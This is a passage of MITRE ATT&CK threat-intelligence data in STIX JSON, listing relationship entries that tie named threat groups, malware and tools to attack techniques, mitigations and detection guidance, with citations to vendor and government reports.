2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}],"modified":"2022-03-23T16:57:13.807Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has restored malicious [KernelCallbackTable](https://attack.mitre.org/techniques/T1574/013) code to its original state after the process execution flow has been hijacked.(Citation: Lazarus APT January 2022)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcef3835-1388-4bb7-850b-d248f4c1810f","type":"relationship","created":"2022-03-24T20:26:35.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T20:26:35.605Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can use `System` namespace methods to execute lateral movement using DCOM.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bcf17c7c-2b8a-42fd-9b8a-2ee3dd3ef3f1","created":"2022-09-30T15:48:24.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T18:48:30.746Z","description":"[Mori](https://attack.mitre.org/software/S1047) can delete its DLL file and related files by Registry value.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bcf2759f-2e3b-4caf-bfcb-2e7d8b533b2d","created":"2023-01-17T22:02:50.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T17:10:31.976Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors ran `nslookup` and Advanced IP Scanner on the target network.(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bcf36359-e8be-4842-8174-489a679f32a4","created":"2023-04-10T19:29:32.968Z","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T19:29:32.968Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used tools that used the `IsDebuggerPresent` call to detect debuggers.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcf90f77-1b2b-46e2-914b-051e51a2d409","type":"relationship","created":"2020-05-08T18:41:16.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:17:50.112Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has used specific malware modules to gather domain membership.(Citation: Symantec Inception Framework March 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcfbec44-1ed2-4555-8c60-4dd7452d3a3c","type":"relationship","created":"2020-03-27T21:30:51.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:30:51.231Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcfcbbdb-302d-4e63-ba65-7333dfdaec3a","type":"relationship","created":"2021-07-07T01:23:05.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2022-03-22T17:29:46.562Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to block processes created by [PsExec](https://attack.mitre.org/software/S0029) from running. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcfe8d7a-62ba-457e-963a-d18c67fd6641","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for API calls that may forge web cookies that can be used to gain access to web applications or Internet services.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd072d13-3815-46eb-ae84-1aba38db3fab","type":"relationship","created":"2020-03-15T16:16:25.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-08-21T14:41:23.121Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd0cff5e-762e-4ba0-ab42-9bfe84e8db4f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"}],"modified":"2019-09-04T22:55:40.997Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used WMI for execution.(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd1282fe-7a81-432b-9ac7-f93fb8f8b33f","type":"relationship","created":"2019-04-23T13:43:22.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.011Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains a module for exploiting SMB via EternalBlue.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd17ac4f-746a-4299-b9cc-ff587c57e4f2","type":"relationship","created":"2020-10-21T02:25:07.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-10-21T02:25:07.236Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has checked for the presence of \"Little Snitch\", macOS network monitoring and application firewall software, stopping and exiting if it is found.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd2312fb-51ff-4766-a24f-1f5911457bc6","type":"relationship","created":"2020-06-19T21:25:43.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.865Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to exfiltrate documents from infected systems.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd289f02-1354-423e-b5e4-7aca35ec9d8a","type":"relationship","created":"2020-07-23T14:20:48.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:20:48.703Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493)'s installer has delayed installation of [GoldenSpy](https://attack.mitre.org/software/S0493) for two hours after it reaches a victim system.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd29b3ec-5dab-49fe-90ec-37f4c0a3f442","type":"relationship","created":"2020-10-02T16:59:56.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:59:56.765Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75","target_ref":"attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e","type":"relationship","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-14T21:04:45.631Z","description":"(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd2a538d-7e43-49bd-86fc-f4eae98e8d84","created":"2024-10-07T22:13:28.317Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:13:28.317Z","description":"Implement and enforce strong password policies for domain accounts to ensure passwords are complex, unique, and regularly rotated. This reduces the likelihood of password guessing, credential stuffing, and other attack methods that rely on weak or static credentials.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd2b8201-022c-473f-88ae-94200ca6cc53","created":"2022-09-29T19:44:33.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T22:48:39.421Z","description":"Monitor creation of files associated with installer packages that may be abused for malicious execution.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd2c2f6f-5bc1-4150-b618-3b53b037670f","created":"2023-01-24T00:13:21.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:13:20.084Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can download files onto compromised systems.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd2f28c5-7687-4d74-b3ad-42d2d62e4548","type":"relationship","created":"2021-12-06T20:36:44.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:36:44.012Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd2f299e-e471-4f32-96b6-8dc32e872c74","created":"2019-06-14T16:45:33.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.397Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) has a command to perform screen grabbing.(Citation: PWC KeyBoys Feb 2017)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd3926e9-9c91-43f2-913d-16a7e94cc0ae","type":"relationship","created":"2019-09-13T12:51:46.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:19:46.843Z","description":" [Machete](https://attack.mitre.org/groups/G0095) has delivered spearphishing emails that contain a zipped file with malicious contents.(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd3cc937-04bc-4a6a-887e-0b0f28a15028","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:30:57.842Z","description":"Monitor for an attempt by a user to gain access to a network or computing resource by providing web credentials (ex: Windows EID 1202) that may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.","relationship_type":"detects","source_ref":"x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd41e985-806d-4bc5-b7ef-fd00fc96cd3c","type":"relationship","created":"2020-03-30T18:52:30.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","source_name":"Forcepoint Felismus Mar 2017"}],"modified":"2020-03-30T18:52:30.735Z","description":"Some [Felismus](https://attack.mitre.org/software/S0171) samples use a custom method for C2 traffic that utilizes Base64.(Citation: Forcepoint Felismus Mar 2017)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd437a82-65df-42d7-a73b-6ed63a4cdd63","created":"2019-06-19T17:14:23.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla PowerShell May 2019","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"},{"source_name":"Symantec Waterbug Jun 2019","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T21:33:06.046Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used the Registry to store encrypted and encoded payloads.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd4686bf-27fb-44b7-8546-be8b57c99fcd","type":"relationship","created":"2020-10-19T19:42:19.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Secure Boot","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."}],"modified":"2020-10-22T16:54:59.260Z","description":"Some vendors of embedded network devices provide cryptographic signing to ensure the integrity of operating system images at boot time. Implement where available, following vendor guidelines. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot)","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bd4ff89c-7088-4eb2-85bd-a639fc528bf6","created":"2024-07-29T22:43:33.468Z","revoked":false,"external_references":[{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:43:33.468Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) has used compromised WordPress sites to host malicious payloads for download.(Citation: SentinelOne WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd531d92-8077-4b8e-9209-212b0c4d1b87","type":"relationship","created":"2021-08-30T18:48:30.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-14T20:53:27.333Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has captured victim IP address details.(Citation: Accenture MUDCARP March 